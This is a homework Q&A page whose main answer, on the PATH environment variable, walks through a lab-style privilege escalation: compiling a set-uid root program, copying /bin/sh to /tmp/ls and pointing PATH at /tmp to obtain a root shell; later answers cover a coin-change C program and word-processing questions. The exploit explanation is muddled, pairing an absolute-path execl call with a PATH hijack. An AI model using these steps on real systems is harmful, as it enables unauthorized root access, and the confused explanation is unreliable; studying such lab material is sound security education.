1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
telo118 [61]
3 years ago
5

The PATH environment variable.

Computers and Technology
1 answer:
enot [183]3 years ago
8 0

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

You might be interested in
Write a program with total change amount as an integer input that outputs the change using the fewest coins, one coin type per l
sweet [91]

Answer:

#include<stdio.h>

#define DOLLAR 100

#define QUARTER 25

#define DIME 10

#define NICKEL 5

#define PENNY 1

void calculatedChange(int userAmount,int coinValues[])

{

if (userAmount >=100)

{

coinValues[0]=userAmount/DOLLAR;

userAmount=userAmount-(100*coinValues[0]);

}

if (userAmount >=25)

{

coinValues[1]=userAmount/QUARTER;

userAmount=userAmount-(25*coinValues[1] );  

}

if (userAmount >=10)

{

coinValues[2]=userAmount/DIME;

userAmount=userAmount-(10*coinValues[2]);

}

if (userAmount >=5)

{  

coinValues[3]=userAmount/NICKEL;

userAmount=userAmount-(5*coinValues[3]);

}

if (userAmount >=1)

{

coinValues[4]=userAmount/PENNY;

userAmount=userAmount-coinValues[4];

}

}

int main() {

int amount;

printf("Enter the amount in cents :");

scanf("%d",&amount);

if(amount<1)

{

printf("No change..!");

}

else

{

int coinValues[5]={0,0,0,0,0};

calculatedChange(amount,coinValues);

if (coinValues[0]>0)

{

printf("%d Dollar",coinValues[0]);

if(coinValues[0]>1) printf("s");

}

if (coinValues[1]>0)

{

printf(" %d Quarter",coinValues[1]);

if(coinValues[1]>1) printf("s");

}

if (coinValues[2]>0)

{

printf(" %d Dime",coinValues[2]);

if(coinValues[2]>1) printf("s");

}

if (coinValues[3]>0)

{

printf(" %d Nickel",coinValues[3]);

if(coinValues[3]>1) printf("s");

}

if (coinValues[4]>0)

{

printf(" %d Penn",coinValues[4]);

if(coinValues[4]>1) printf("ies");

else printf("y");

}

}

}

Explanation:

  • Create a calculatedChange method for calculating userAmount.  
  • Use conditional statements to check dollars , quarters , dimes , nickels  and penny.
  • Inside the main method , validate the input  and then  print dollars , dimes , nickels after checking them.

7 0
3 years ago
The process of combining rows and columns in a table is called _____.
Oksi-84 [34.3K]
The Answer of the given question : D. Merging
8 0
3 years ago
Marie has never used a word processor. In 3 to 4 sentences, describe how she could benefit from using a word processor to comple
pychu [463]
She could be able to present her information in a legible way. She will be able to type quicker than writing, and be more thorough about her writing. She can also benefit by becoming more familiar with different technologies. She can benefit by being able to add information that broadens her knowledge on the subject.

Hope this helps!!
6 0
3 years ago
Read 2 more answers
Isabela wants to modify one of her paragraphs. However, she does not find the command she needs in the Paragraph group. She know
cluponka [151]

Answer:

Editing button

Explanation:

Editing is changing therefore if she wants to modify her work she would be changing it.

Hope that helped :)

5 0
3 years ago
Read 2 more answers
__ is/are the amount of blank space between lines of text in a paragraph
Natali [406]
Indents? Double Space? one of those
5 0
3 years ago
Read 2 more answers
Other questions:
  • MTTF is a file format developed by Microsoft commonly used on Windows systems; it offers file security, large volume size, large
    11·1 answer
  • When you right-click certain areas of the Word or other Office app windows, a command menu will appear. Group of answer choices
    13·1 answer
  • the type() function in python does what when you give it an object. returns the last keystrokes from the user. fill the object w
    9·1 answer
  • Draw a logic circuit for the function F = (A + B)(B + C)(A + C), using NOR gates only. ​
    9·1 answer
  • Which of the following is true of how the Internet has responded to the increasing number of devices now using the network?
    7·1 answer
  • Short Essay on the history of Computer​
    6·2 answers
  • What are some examples of what can be changed through options available on the mini toolbar
    5·1 answer
  • Which printer are used to print text and graphics with high speed ​
    15·1 answer
  • The blue section of the following Venn diagram could represent which of the following Boolean statements?
    14·1 answer
  • Identify and explain 4 traditional (old ways) marketing approaches used by University uses in reaching
    7·1 answer
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!